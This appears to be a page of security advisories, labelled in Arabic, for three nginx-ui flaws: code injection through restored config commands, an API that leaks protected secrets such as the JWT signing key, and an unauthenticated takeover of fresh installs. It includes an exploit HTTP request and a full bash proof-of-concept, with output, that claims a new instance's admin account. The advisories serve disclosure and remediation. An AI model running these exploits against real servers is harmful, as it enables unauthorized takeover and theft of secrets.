restoreNginxUIConfig(nginxUIBackupDir string) error { // Get config directory configDir := filepath.Dir(cosysettings.ConfPath) if configDir == "" { return ErrConfigPathEmpty } // Restore app.ini to the configured location srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini") if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil { return err } // Restore database file if exists dbName := settings.DatabaseSettings.GetName() srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db") destDBPath := filepath.Join(configDir, dbName+".db") // Only attempt to copy if database file exists in backup if _, err := os.Stat(srcDBPath); err == nil { if err := copyFile(srcDBPath, destDBPath); err != nil { return err } } return nil ``` **File:** internal/nginx/nginx.go (L25-36) ```go func TestConfig() (stdOut string, stdErr error) { mutex.Lock() defer mutex.Unlock() if settings.NginxSettings.TestConfigCmd != "" { return execShell(settings.NginxSettings.TestConfigCmd) } sbin := GetSbinPath() if sbin == "" { return execCommand("nginx", "-t") } return execCommand(sbin, "-t") } ``` **File:** internal/nginx/exec.go (L12-28) ```go func execShell(cmd string) (stdOut string, stdErr error) { var execCmd *exec.Cmd if runtime.GOOS == "windows" { execCmd = exec.Command("cmd", "/c", cmd) } else { execCmd = exec.Command("/bin/sh", "-c", cmd) } execCmd.Dir = GetNginxExeDir() bytes, err := execCmd.CombinedOutput() stdOut = string(bytes) if err != nil { stdErr = err } return } ```
الإصدارات المتأثرة
2.3.8
نوع الثغرة
CWE-94 — Code Injection
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
الوصف الكامل
### Summary The `GetSettings` API handler (`api/settings/settings.go:24-65`) serializes all settings structs to JSON and returns them to authenticated users. Many sensitive fields are tagged with `protected:"true"` - however, this tag is only enforced during writes (via `ProtectedFill` in `SaveSettings`) and is completely ignored during reads. This exposes 40+ protected fields including `JwtSecret` (enabling auth token forgery), `NodeSecret` (enabling cluster node impersonation), OIDC `ClientSecret` (enabling OAuth account takeover), and the IP whitelist configuration. ### Details #### Vulnerable Code **`api/settings/settings.go:49-64` - GetSettings serializes all fields** ```go c.JSON(http.StatusOK, gin.H{ "app": cSettings.AppSettings, "server": cSettings.ServerSettings, "database": settings.DatabaseSettings, "auth": settings.AuthSettings, "casdoor": settings.CasdoorSettings, "oidc": settings.OIDCSettings, "cert": settings.CertSettings, "http": settings.HTTPSettings, "logrotate": settings.LogrotateSettings, "nginx": settings.NginxSettings, "node": settings.NodeSettings, "openai": settings.OpenAISettings, "terminal": settings.TerminalSettings, "webauthn": settings.WebAuthnSettings, }) ``` Go's `json.Marshal` serializes all exported fields with `json:` tags. The `protected:"true"` struct tag is a custom tag - it has no effect on JSON serialization. #### Protection is Write-Only **`api/settings/settings.go:126-135` - ProtectedFill only used during saves** ```go cSettings.ProtectedFill(cSettings.AppSettings, &json.App) cSettings.ProtectedFill(cSettings.ServerSettings, &json.Server) cSettings.ProtectedFill(settings.AuthSettings, &json.Auth) // ... etc ``` `ProtectedFill` prevents overwriting protected fields during `SaveSettings`, but `GetSettings` has no corresponding filter. The protection is asymmetric - secrets can be read but not overwritten. #### Exposed Protected Fields **`settings/node.go`:** - `Secret` (protected) - used for cluster node authentication - `SkipInstallation` (protected), `Demo` (protected) **`settings/oidc.go` (all protected):** - `ClientId`, `ClientSecret`, `Endpoint`, `RedirectUri`, `Scopes`, `Identifier` **`settings/casdoor.go` (all protected):** - `Endpoint`, `ExternalUrl`, `ClientId`, `ClientSecret`, `CertificatePath`, `Organization`, `Application`, `RedirectUri` **`settings/auth.go`:** - `IPWhiteList` (protected) - exposes security configuration #### Attack Scenario 1. Low-privilege authenticated user calls `GET /api/settings` 2. Response includes `NodeSecret` - attacker can impersonate cluster nodes 3. Response includes OIDC `ClientSecret` - attacker can perform OAuth flows as the application 4. Response includes `IPWhiteList` - attacker learns network security configuration 5. If `JwtSecret` is in app settings (via cosy framework), attacker can forge authentication tokens for any user ### PoC **1. `GetSettings` serializes all fields** without filtering `protected:"true"` tags. From `api/settings/settings.go:49-64`: ```go c.JSON(http.StatusOK, gin.H{ "app": cSettings.AppSettings, "server": cSettings.ServerSettings, "database": settings.DatabaseSettings, "auth": settings.AuthSettings, "casdoor": settings.CasdoorSettings, "oidc": settings.OIDCSettings, "cert": settings.CertSettings, "http": settings.HTTPSettings, "logrotate": settings.LogrotateSettings, "nginx": settings.NginxSettings, "node": settings.NodeSettings, "openai": settings.OpenAISettings, "terminal": settings.TerminalSettings, "webauthn": settings.WebAuthnSettings, }) ``` Go's `json.Marshal` serializes all exported fields. The custom `protected:"true"` tag has no effect on serialization. **2. Protected secrets are defined** across `settings/*.go`. High-impact examples: ```go // settings/server_v1.go:19 JwtSecret string `json:"jwt_secret" protected:"true"` // settings/node.go:5 Secret string `json:"secret" protected:"true"` // settings/oidc.go ClientSecret string `json:"client_secret" protected:"true"` // settings/auth.go IPWhiteList []string `json:"ip_white_list" protected:"true"` ``` **3. `ProtectedFill` is write-only.** It appears 10 times in `SaveSettings` (lines 126-135) but 0 times in `GetSettings`: ```go // api/settings/settings.go:126-135 - Only used during writes cSettings.ProtectedFill(cSettings.AppSettings, &json.App) cSettings.ProtectedFill(cSettings.ServerSettings, &json.Server) cSettings.ProtectedFill(settings.AuthSettings, &json.Auth) // ... 7 more calls ``` **4. Exploit request.** Any authenticated user can retrieve all secrets: ```http GET /api/settings HTTP/1.1 Authorization: Bearer <any-valid-jwt> ``` Response includes (among 45 protected fields): ```json { "app": {"jwt_secret": "<the-actual-jwt-signing-key>", ...}, "node": {"secret": "<node-authentication-secret>", ...}, "oidc": {"client_secret": "<oidc-client-secret>", ...}, "casdoor": {"client_secret": "<casdoor-client-secret>", ...}, "auth": {"ip_white_list": ["10.0.0.1", ...], ...}, "nginx": {"reload_cmd": "nginx -s reload", "restart_cmd": "...", ...} } ``` ### Impact - **Authentication bypass via JwtSecret**: An attacker who obtains the `JwtSecret` can forge valid JWT tokens for any user, including admin accounts. This provides permanent, independent access that survives password changes and session revocations. - **Cluster compromise via NodeSecret**: The `NodeSecret` is used for inter-node authentication in nginx-ui clusters. An attacker can impersonate any cluster node, push malicious configurations to all nodes, and intercept cluster synchronization traffic. - **Third-party OAuth takeover**: Leaked OIDC `ClientSecret` and Casdoor `ClientSecret` allow the attacker to perform OAuth flows as the nginx-ui application, potentially gaining access to user accounts on the identity provider. - **Security configuration disclosure**: The `IPWhiteList`, `ReloadCmd`, `RestartCmd`, `ConfigDir`, `SbinPath`, and other protected fields reveal the security posture and infrastructure layout, enabling more targeted attacks. - **Low barrier to exploitation**: Any authenticated user (not just admins) can access `GET /api/settings`. In multi-user deployments, a low-privilege operator can escalate to full admin access. ### Remediation Filter out `protected:"true"` fields before serialization.
الإصدارات المتأثرة
2.3.8
نوع الثغرة
CWE-200 — Info Disclosure
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
## Summary An unauthenticated bootstrap takeover exists in `nginx-ui` during the initial installation window exposed by `POST /api/install`. When the instance is still uninitialized, `POST /api/install` is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator. This is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows. The primary attack path is direct network access to a reachable fresh instance.[^cors] This was reproduced over HTTP against live local instances started from `nginx-ui` `v2.3.5` using Docker image `uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a` (`org.opencontainers.image.version=2.3.5`, revision `1a9cd29a308278173aa0f16234cb78061dd2bd42`). ## Impact This issue allows full unauthenticated takeover of a fresh `nginx-ui` instance during the initial installation window. The practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves. In live testing, the attacker was able to: - confirm that the target was still uninitialized - submit attacker-chosen bootstrap credentials - lock the installation under attacker control - immediately authenticate as the newly set administrator Observed values during live reproduction included: ```text INSTALL_BEFORE={"lock":false,"timeout":false} INSTALL_POST={"message":"ok"} INSTALL_AFTER={"lock":true,"timeout":false} LOGIN_RESPONSE={"message":"ok","code":200,...,"short_token":"qIJAE3dQMm3afhaV"} ``` Because the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves. ## PoC The following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only `bash`, `curl`, and `openssl`. Standalone PoC: ```bash #!/usr/bin/env bash set -euo pipefail base_url="http://127.0.0.1:9000" email="poc2@nginxui.test" username="pocverify2" password="Passw0rd123" tmpdir="$(mktemp -d)" trap 'rm -rf "$tmpdir"' EXIT install_before="$(curl -fsS "${base_url}/api/install")" printf 'INSTALL_BEFORE=%s\n' "$install_before" key_json="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \ "${base_url}/api/crypto/public_key")" key_escaped="$(printf '%s' "$key_json" | sed -n 's/.*"public_key":"\(.*\)","request_id".*/\1/p')" printf '%b' "$key_escaped" > "${tmpdir}/public_key.pem" openssl rsa -RSAPublicKey_in -in "${tmpdir}/public_key.pem" -pubout -out "${tmpdir}/public_key_spki.pem" >/dev/null 2>&1 printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json" encrypted_install="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/install.json" \ | openssl base64 -A )" install_post="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encrypted_params\":\"${encrypted_install}\"}" \ "${base_url}/api/install")" printf 'INSTALL_POST=%s\n' "$install_post" install_after="$(curl -fsS "${base_url}/api/install")" printf 'INSTALL_AFTER=%s\n' "$install_after" printf '{"name":"%s","password":"%s","otp":"","recovery_code":""}' "$username" "$password" > "${tmpdir}/login.json" encrypted_login="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/login.json" \ | openssl base64 -A )" login_response="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encrypted_params\":\"${encrypted_login}\"}" \ "${base_url}/api/login")" printf 'LOGIN_RESPONSE=%s\n' "$login_response" ``` Observed output during live verification: ```text INSTALL_BEFORE={"lock":false,"timeout":false} INSTALL_POST={"message":"ok"} INSTALL_AFTER={"lock":true,"timeout":false} LOGIN_RESPONSE={"message":"ok","code":200,"token":"<redacted>","short_token":"qIJAE3dQMm3afhaV"} ``` ## Steps to Reproduce 1. Start a fresh local `nginx-ui` `v2.3.5` instance from the tested Docker image digest with empty `/etc/nginx` and `/etc/nginx-ui` directories. ```bash mkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui docker run -d --rm --name nginx-ui-poc \ -v "$PWD/.tmp/poc-nginx:/etc/nginx" \ -v "$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui" \ uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a ``` 2. Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with: ```bash docker exec -it nginx-ui-poc bash ``` Then set `base_url` to `http://127.0.0.1:9000` and run the standalone PoC. 3. Observe the output. Actual result: - `GET /api/install` returns `{"lock":false,"timeout":false}` - `POST /api/install` returns `{"message":"ok"}` - a follow-up `GET /api/install` returns `{"lock":true,"timeout":false}` - `POST /api/login` succeeds with the attacker-chosen username and password and returns a valid token Expected result: - arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret - `POST /api/install` should be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor - attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup ## Suggested Fix 1. Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection. 2. Require a local-only or out-of-band bootstrap secret for `POST /api/install`, for example: - generate a one-time setup token at startup - print or store it locally on the host - require that token to complete initialization 3. Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths. 4. Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as `/api/self_check` and `/api/restore`. 5. As defense in depth, narrow CORS on setup endpoints. `POST /api/install` should not be callable cross-origin by arbitrary websites. 6. Add regression tests covering: - unauthenticated remote `POST /api/install` being rejected by default - no installation claim without a valid bootstrap secret - `/api/self_check` and `/api/restore` requiring authentication - no cross-origin installation via browser preflight and JSON POST [^cors]: In live testing, `OPTIONS /api/install` returned `Access-Control-Allow-Origin: *`. That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.
الإصدارات المتأثرة
2.3.5
نوع الثغرة
CWE-284 — CWE-284
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H